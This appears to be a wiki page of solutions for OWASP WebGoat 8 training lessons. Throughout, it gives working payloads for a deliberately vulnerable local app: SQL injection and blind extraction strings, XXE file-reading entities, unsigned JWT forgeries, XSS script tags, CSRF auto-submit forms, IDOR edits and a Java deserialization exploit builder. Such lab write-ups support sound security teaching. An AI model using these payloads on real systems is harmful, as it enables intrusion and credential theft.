-
-
Notifications
You must be signed in to change notification settings - Fork 5.6k
Main Exploits
This is a work in progress and is still being updated with the full list of solutions. You're welcome to add your own!
These solutions are intended for use with WebGoat Version 8
Enter any input and click Go. Observe the HTTP traffic using a web proxy (e.g. OWASP ZAP)
The HTTP request observed in the previous exercise was a POST message. The magic number is hidden in the web page's JavaScript. One of the methods to view this is to right click on the web page and select "Inspect Element". In the section where the web page's HTML appears, search for the phrase "magic" until you identify the value stored by the hidden magic_num
field.
First follow the instructions on this page to start intercepting requests with OWASP ZAP. After clicking the Submit button:
- Change the Method of the request to GET using the Method drop down menu option. You should observe the
changeMe
variable that was previously in the HTTP request body is now appended to the URL withchangeMe=doesn't+matter+really
- Copy the header
X-Request-Intercepted:true
and paste it into the request (I chose to paste it under the similarly named X-Requested-With header) - Modify the value of
changeMe
in the URL toRequests+are+tampered+easily
Click the play button within ZAP to send the modified request.
To dump the user_system_data table and view Dave's password, submit the following in the "Name" form:
x' UNION SELECT 1,user_name,password,'','','',7 FROM user_system_data; --
Or an even easier solution whenever possible:
x'; SELECT * FROM user_system_data;--
Now that the table has been dumped, observe Dave's password passW0rD
and enter it in the password text field.
The Login form does not appear to provide any useful outputs from a variety of inputs, but the Register form allows us to check whether a username already exists. If we try to register with the following username:
tom' AND '1'='1
we find that the username is taken. We can use this as an oracle and check what tom's password is one at a time. Fortunately, the table we are seeking is named "password", so we can attempt to register with the following username:
tom' AND substring(password,1,1)='t
and because the response states the username already exists, we know that "t" is the first character of Tom's password. By fuzzing for the remaining characters, we can determine that tom's password is thisisasecretfortomonly
In "Account Name" form, enter:
Smith' or '1'='1
123 or 1=1
Click on the name of one of the columns in the list of servers and observe the HTTP request that is sent using a web proxy (e.g. OWASP ZAP). We will modify the value of column=
to execute this attack. As Lesson 7 of this section shows, we can ask the database a question using the when(...) portion of a case statement. We can use this to piece together the full IP address of the webgoat-prd server by inquiring about each individual digit of the IP address, one at a time. To ask the database whether the first digit of the IP of webgoat-prd is 1, we can resend the previous sort request but modify the URL to:
column=(CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd' AND substr(ip,1,1) = '1') IS NOT NULL THEN hostname ELSE id END)
If the server's response shows the servers sorted by id, we guessed the wrong value. Alternatively, if the server's response shows the servers sorted by hostname
, we have identified the correct digit for that index. Using the Fuzzer feature built into ZAP, we can iterate through the entire IP address and determine which value is correct for each index. Keep in mind that if no digits 0-9 yield a server list sorted by hostname
, the IP address may contain a period at that index (as is the case for indices 4, 8, and 12). After fuzzing each index of the IP address, we determine that webgoat-prd is located at 104.130.219.202.
Enter and submit a comment. Using a web proxy (e.g. OWASP ZAP), observe the XML in the body of the request. Resend the request, but first edit the XML in the body to something like:
<?xml version="1.0"?>
<!DOCTYPE comment [ <!ENTITY rootpath SYSTEM "file:///"> ]>
<comment>
<text>&rootpath;</text>
</comment>
Enter and submit a comment. Using a web proxy (e.g. OWASP ZAP), note how the request body has changed from the previous exercise (Lesson 3), while the webpage looks very similar. We can attempt the same result as Lesson 3 with an identical request body:
<?xml version="1.0"?>
<!DOCTYPE comment [ <!ENTITY rootpath SYSTEM "file:///"> ]>
<comment>
<text>&rootpath;</text>
</comment>
But as the response suggests, we can't submit XML when the Content-Type is application/json
. We can fix this problem by changing the Content-Type to application/xml
, and sending the above XML as before.
As in the previous lesson we need to create a DTD
file which will be hosted on a server but we can also create it in our system directory.
/home/USER/.webgoat-8.0.0.M21/XXE/attack.dtd
:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY cat SYSTEM 'file:///home/$USER/.webgoat-*.*.*.***/XXE/secret.txt'>
now intercept the request and modify it to load the DTD file in the system path:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///home/$USER/.webgoat-8.0.0.M21/XXE/attack.dtd">
%remote;
]>
<comment>
<text>&cat;</text>
</comment>
The DTD file will load the content of the secret.txt in the request and it will be displayed in the comments section which we have to copy-paste in the comments and submit.
Enter values into both security question forms and click the Submit button. Using a web proxy (e.g. OWASP ZAP), observe the HTTP request sent by the client. Edit the secQuestion0
variable name to secQuestion2
and change the secQuestion1
variable to secQuestion3
and resend the request
After selecting a user (Tom, Jerry, or Sylvester), attempt to reset votes and capture the access token JWT in the request using a web proxy (e.g. OWASP ZAP). Decode the token (e.g. using https://jwt.io/). Copy the token header, edit the "alg" field from "HS256" to "none". Copy the new header and use a Base64 converter to converter the ASCII to Base64 to serve as the new header. The resulting new header is eyJhbGciOiJub25lIn0=
. Remove the signature portion of the JWT, but leave a trailing period. Use the same JWT payload as before, but with the "admin" field set to "true". The result should be a JWT similar to: eyJhbGciOiJub25lIn0=.eyJpYXQiOjE1NDMzNzU1MjIsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.
NOTE: a bug may cause the "4" for Lesson 4 to remain red (indicating incompleteness) instead of green (indicating completeness)
The structure of JWT is header.payload.signature, we need to base64 decode the header and the payload parts, change alg, username values to none and WebGoat. Encode in base64 the 2 parts (not the signature part).
Header
{"alg":"none"}
eyJhbGciOiJub25lIn0=
Payload
{"iss":"WebGoat Token Builder","aud":"webgoat.org","iat":1571830867,"exp":1571830927,"sub":"tom@webgoat.org","username":"WebGoat","Email":"tom@webgoat.org","Role":["Manager","Project Administrator"]}
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU3MTgzMDg2NywiZXhwIjoxNTcxODMwOTI3LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==
Submit with this structure (with dots):
header.payload.
From Lesson 4 get Tom's access token eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzI0MjgwMzYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.hnnm5nXOzR7xkagSUWUbFj-4KthGc6iiSVNzr46GYvXrMIxpu1YuHLlI7pHbwFsIW93t08nMEsIHu0UZino8lw
by intercepting the request for Reset Votes using a web proxy (e.g Burp Suit).
Coming back to lesson 7 click on CheckOut
and intercept the request add a new Authorization
header with Tom's access token removing the signature field
of the token but keeping the period in the end as value eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzI0MjgxMDYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.
and send the request
NOTE: I got a Congratulations
message but the indicator remained red (indicating incompleteness) instead of green (indicating completeness)
See lesson 4. Change alg to "none" and user
to username
. Encode it and remove the signature part.
Awaiting solution...
- Look for possible usernames (e.g. Tom) (sorry no better idea). For users that do not exist the following message is displayed: "User XXXX is not a valid user." If the user exists "Sorry the solution is not correct, please try again." is displayed. So you have a way to verify a user exists.
- Intercept the request with ZAP, get yourself a list of colors (e. g. from Wikipedia) and let ZAP fuzz on the list. One request will be different and here you are.
Awaiting solution...
Yes
After using the default data entries, observe that the user-filled credit card number is reflected to the user in the webpage's thank you message. Replace the credit card number with the following JavaScript:
<script>alert('This is an example of reflected XSS')</script>
Clicking the Submit button without input (or with an incorrect solution) prompts the suggestion to look at the GoatRouter.js file. Within this file, we see a few uses of the word "test" and can discern that the test path is:
start.mvc#test/
Using the start.mvc#test/ route we discovered in the previous exercise, we can append the suggested function directly into the URL:
<script>webgoat.customjs.phoneHome()<%2Fscript>
E.g. becoming:
http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()<%2Fscript>
Once the above URL is opened in a new tab, watch your proxy to see the phoneHome
value
This very similar to the previous exercise, but the input must be provided into the input form. We can enter an input such as:
Haha stored XSS <script>webgoat.customjs.phoneHome()</script>
And as before the phoneHome
value will appear in your proxy
Use the provided credentials to login:
- user:
tom
- pass:
cat
Click the "View Profile" button. Using a web proxy (e.g. OWASP ZAP), observe the body of the server's response to the profile request. Enter the two extra attributes seen in the web proxy (comma delimited):
userId, role
NOTE: a bug may cause the "3" for Lesson 3 to remain red (indicating incompleteness) instead of green (indicating completeness)
We can observe that in Lesson 3, the profile request was directed at WebGoat/IDOR/profile
We can infer that in order to request a specific profile, a unique profile attribute may be appended to this URL, so using the userId
from the previous answer, enter:
WebGoat/IDOR/profile/2342384
- Part 1: Click the first View Profile button on the page, capture the request using a web proxy (e.g. OWASP ZAP), and observe that the
userId
value is sent in the URL of the HTTP request. Since we do not know theuserId
of other users, we can either try incrementing theuserId
by hand, starting with our knownuserId
(2342384), or we can use a fuzzing tool in our web proxy. Using either method, we can find that Buffalo Bill'suserId
is 2342388. - Part 2: To edit Buffalo Bill's profile, we must use the prior HTTP request with some modifications. First, we confirm that Buffalo Bill's
userId
, 2342388, is in the request URL. We must know that a REST API can use the HTTP PUT method to provide updates, so we change the HTTP request to a PUT request. Next, we need to provide RESTful values in the request body, so we past the following into the body:{"role":"1", "color":"red", "size":"small", "name":"Buffalo Bob", "userId":"2342388"}
Lastly, we must change the Content-Type from application/x-www-form-urlencoded
to application/json
for the server to correctly process the request.
Right click on the web page and select "Inspect Element". In the tab where the web page's HTML is visible, use the search function to locate all instance of the word hidden
. We find menu headers with the hidden-menu-item
class value. The hidden header is "Admin" while the two menu panels below it (and the solutions to this exercise) are "Users" and "Config".
From the earlier lesson, we got two URL's when we open the Users URL /WebGoat/users
we land on a page showing the number of users. if we intercept the request with a proxy and modify the headers to
Accept: application/json
Content-Type: application/json
we will be obtaining the hash for our user
Using a web proxy (e.g. OWASP ZAP), observe the request transmitted after the Log in button is clicked. The body of the captured request contains:
{"username":"CaptainJack","password":"BlackPearl"}
NOTE: a bug may cause the "2" for Lesson 2 to remain red (indicating incompleteness) instead of green (indicating completeness)
The best way is to use Java to leverage building the exploit using the VulnerableTaskHolder class.
- Compile the vulnerable class:
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
}
- Compile a small Java app that serializes the vulnerable class above to build the exploit:
import java.io.*;
import java.util.*;
import org.dummy.insecure.framework.*;
public class BuildExploit {
public static void main(String[] args) throws Exception {
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep for 5secs", "sleep 5");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(exploit));
}
}
- Running the Example app will produce the desirable string for exploiting the lesson.
Click the "Submit Query" button. Observe the URL of the page that opens includes a field titled csrf
. Modify the URL to the following and view the message:
http://localhost:8080/WebGoat/csrf/basic-get-flag?csrf=true&submit=Submit+Query
The flag is on the web page when the correct URL (the line above) is accessed in a separate window/tab.
Make a fake .html
file locally to act as a web page. The .html
file will include hidden form fields, such as the following. Remember to replace the validateReq
token value with your own value!
<html><body><form action="http://localhost:8080/WebGoat/csrf/review" method="POST"><input type="hidden" name="reviewText" value="Amazing Review"><input type="hidden" name="stars" value="5"><input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"></form> <script>document.forms[0].submit();</script></body></html>
Now open this web page in the same browser as while logged in to your WebGoat account.
Create a simple HTML-Page containing the following form:
<form enctype="text/plain" method="POST" action="http://localhost:8080/WebGoat/csrf/feedback/message">
<button>submit</button>
<input type="hidden" name='{"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignoreme":"' value='sdfsdfdf"}'>
</form>
Explanation:
The enctype
forces the browser to send the the request without "&" separating the key value pairs.
Since forms have key / value pairs (e. g. xxx=someval
), we have a problem with the =
. We solve this by adding a unexpected field at the end of the name attribute and put some stuff into the value field (do not forget the closing bracket). The POST body will look like:
{"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignoreme": "=sdfsdfdf"}
Open the HTML file and submit the form and you are done.
Awaiting solution...
Nothing to do here, just click the two "Go!" buttons
This exercise likely needs updated answer validation, since WebGoat doesn't appear to accept proof of concepts from the web. That being said, the WebGoat source code shows an answer such as the following will suffice:
<contact>
<java.lang.Integer>1</java.lang.Integer>
<firstName>Bruce</firstName>
<lastName>Mayhew</lastName>
<email>webgoat@owasp.org</email>
</contact>
If you are using a recent version of Mozilla Firefox or Google Chrome, right click one of the input fields and select "Inspect Element" from the menu. In the HTML inspector, modify the four input fields to:
- Add a third option named
option3
to the selection menu and select it - Add a third radio button with a value of
option3
and select it - Change the checkbox input type field to
text
and enter some text - Adjust the text input field
maxlength
variable to a value greater than the default value of 5 and add extra characters to the input value
Submit the form using the default values. Then, using a web proxy (e.g. OWASP ZAP), edit the request with the web proxy and modify the values of the fields to values that do not fit the regular expressions. For example, the following request body will work:
field1=Zabc&field2=Z123&field3=*abc+123+ABC&field4=Zseven&field5=Z01101&field6=Z90210-1111&field7=Z301-604-4882&error=0
Select any employee name from the menu. Using a web proxy (e.g. OWASP ZAP), observe that the response from the server includes the full details (salary, UserID, SSN) for all users, including the CEO, Neville Bartholomew. Enter Neville's salary into the submission box
Enter a random value for the "Checkout Code" and click the "Buy" button and observe the request using a web proxy (e.g. OWASP ZAP). Two requests are made. One to clientSideFiltering/challenge-store/coupons/
and one to clientSideFiltering/getItForFree/whatever-you-wrote-for-checkout-code
. By accessing the latter URL with an empty value for the checkout code, like so:
http://localhost:8080/WebGoat/clientSideFiltering/challenge-store/coupons/
We can see all the possible coupon codes, and determine that get_it_for_free
provides a 100% discount
Right click the "Checkout" button and select "Inspect Element" from the right click menu. Observe that within the HTML source, below the button, is a hidden input field. Modify the value of this hidden input to a cost below 2999
. Then click the green "Checkout" button.
Download the WebGoat logo above the username box, open the image in a text editor and search for Admin
or WebGoat
. There you will find the password in the format admin:<password>
- Username:
Larry
- Password:
' or 1=1 --
Congratulations, you solved the challenge. Here is your flag: e3b02485-38ef-4ae5-b234-08fe254f10b9
- Go to Register tab,
- Check if blind injection is possible with:
tom' AND 1=1;-- AND tom' AND 1=2;--
- Do an automated blind SQL Injection using:
with X in
tom' AND SUBSTRING(password, 1, 1)='X';--
abcdefghijklmnupqrstuvxyz
- Get the password.
- Send youserlf to WebWolf a link to look at the reset-password link
- Look into the source code: You'll find that the challenge is created by a git repository
- Download zip file at WebGoat/challenge/7/.git
- unzip .git
- check with
git rev-list --objects -g --no-walk --all
for all objects in the bare repository - use
git show <HASH> > <NAME>
for the objects with the name MD5.class, MD5$1.class, MD5$MD5State.class (use $) - use the same for the two PasswordResetLink.class objects
- use a java decompiler tool of your choice to check for the source code.
- check in the decompiled PasswordRestLink files for a hardcoded key for admins, thats the PasswordRestLink.class you want to use
- now use java to create the admin reset password link:
java PasswordResetLink admin
-> <ADMIN_HASH> - now send via the form the admin@webgoat.org reset-password
- go to
WebGoat/challenge/7/reset-password/<ADMIN_HASH>
- Success!!
Check the JavaScript source for this challenge.
- Go to http://localhost:8080/WebGoat/challenge/8/vote/5 (or anything from 1-5).
- Check with OPTIONS which other Request methods are allowed (
GET
andHEAD
) - Change the request method to
HEAD
.